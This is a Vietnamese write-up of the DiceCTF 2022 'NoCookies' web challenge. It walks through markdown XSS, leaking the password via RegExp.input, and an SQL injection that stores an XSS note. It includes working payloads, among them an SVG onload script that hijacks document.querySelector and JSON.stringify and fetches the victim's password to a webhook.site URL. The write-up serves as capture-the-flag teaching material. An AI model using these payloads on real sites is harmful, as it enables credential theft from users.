Home NoCookies - DiceCTF2022
Post
Cancel
DiceCTF logo

NoCookies - DiceCTF2022

https://instancer.mc.ax/no-cookies

https://admin-bot.mc.ax/no-cookies

Source code

Download

Sơ lược về trang web

overview overview

  • Sẽ có 2 chức năng: Register -> đăng kí account và create note -> tạo note
  • Hoạt động không dựa trên cookie mà yêu cầu ta nhập lại username, password mỗi lần thực hiện một hành động nào đó.

Ở phần Create Note thì ta có 2 tùy chọn là Markdown hoặc là Plain. Create note create note option

Phân tích

1. XSS qua markdown option

Đọc qua source code thì thấy phần lớn các trang view.html, register.html đều thuộc dạng client side rendering markdown note handler markdown note hander

Điều đáng chú ý ở đoạn code này là nếu note nhập vào có dạng [blabla](test) thì sẽ return thẻ a: <a href = "test">blabla</a> Từ đây có thể dễ dàng khai thác XSS: ta dùng 2 thuộc tính autofocus và onfocus để trigger nó

1
<a href ="test" autofocus onfocus= "alert`1">

Điều đáng buồn là khi tạo note: (foo)[http://example.com" autofocus=autofocus onfocus="alert(password&#x29;] (ở đây escape ) trở thành &#x29; để cho regex không làm mất đi ) ) Gửi note và ấn view xuất hiện pop-up undefined 😟

Quay lại source code thấy rằng const password, được định nghĩa trong một anonymous arrow function và đoạn code được thực thi bên ngoài nó (đến từ HTML event handler)

Nhìn lại source, để ý cách validate password:

1
2
3
const validate = (text) => {
return /^[^$']+$/.test(text ?? '');
}

Chỉ đơn giản là kiểm tra sao cho phải có tối thiểu 1 kí tự và không tồn tại ' hoặc $ Mình tìm được một thứ thú vụ về Regex. Đại khái là: RegExp.input hoặc RegExp.$_ sẽ trả về chuỗi match với regular expression.

Ví dụ:

1
2
3
4
5
6
7
var re = /hi/g;
re.test('hi there!');
RegExp.input; // "hi there!"
re.test('foo'); // new test, non-matching
RegExp.$_; // "hi there!"
re.test('hi world!'); // new test, matching
RegExp.$_; // "hi world!"

Nhưng tất cả những .replace() call từ markdown parsing đã làm thay đổi giá trị của nó (overiding the password) vì vậy không thể khai thác thông qua markdown note -> chỉ còn lại con đường plain note.

2. XSS qua plain option

database handler code1 database handler code1

database handler code2 database handler code2

Ta có thể thấy trước khi chèn vào DB, note bị replace <> gây khó khăn cho việc khai thác.

Nhưng prepare function đã giải quyết vấn đề này, hàm này đơn giản chỉ là replace lần lượt :id, :username, :note, :mode thành các giá trị tương ứng với nó.

1
2
3
4
5
6
{
id: "12345",
username: ":note",
note: ', :mode, 22, 0)-- ',
mode: '<img src=x onerror="alert(RegExp.input)">',
}

sqli poc sqli poc

Khai thác

reponse response

result result

Overwrite “document.querySelector” và “JSON.stringify”

ở phần này mình sẽ đề cập tới một cách khai thác khác.

Cách này thì vẫn vận dụng sqli như cách trước để chèn xss note vào db nhưng khác ở chỗ xss note sẽ là:

1
<svg><svg/onload="document.querySelector=function(){JSON.stringify=a=>fetch(`https://webhook.site/1e6c4248-b312-498b-93c3-073ffc762693?`+a.password),arguments.callee.caller()}">

Code này thực hiện việc rewrite lại hàm document.querySelectorJSON.stringify, sau đó gọi arguments.callee.caller()

Exploit

  • Line 59 thực hiện gán innerHTML = Plain note của ta đồng thời kích hoạt onload event của svg thực hiện việc ghi đè hàm document.querySelector.
  • Line 60 gọi tới document.querySelector (lúc này là hàm mà ta đã định nghĩa lại): thực hiện ghi đè hàm JSON.stringify và đồng thời gọi tới arguments.callee.caller().
  • Có thể hiểu arguments.callee là chỉ hàm hiện tại đang thực thi -> document.querySelectorarguments.callee.caller() là hàm gọi tới nó, chính là cái async () bao trọn tất cả code. Hay nói cách khác mục đích của arguments.callee.caller() là để chạy lại đoạn code từ 24 – 62 một lần nữa. Lúc này JSON.stringify nhận vào một object bao gồm password sẽ thực hiện fetch tới web hook của ta và boom flag!

dice{curr3nt_st4t3_0f_j4v45cr1pt}

Tham khảo

https://blog.bawolff.net/2022/02/write-up-for-dicectf-2022-nocookies.html

This post is licensed under CC BY 4.0 by the author.

31 Line PHP - SPbCTF2021

CrewCTF 2022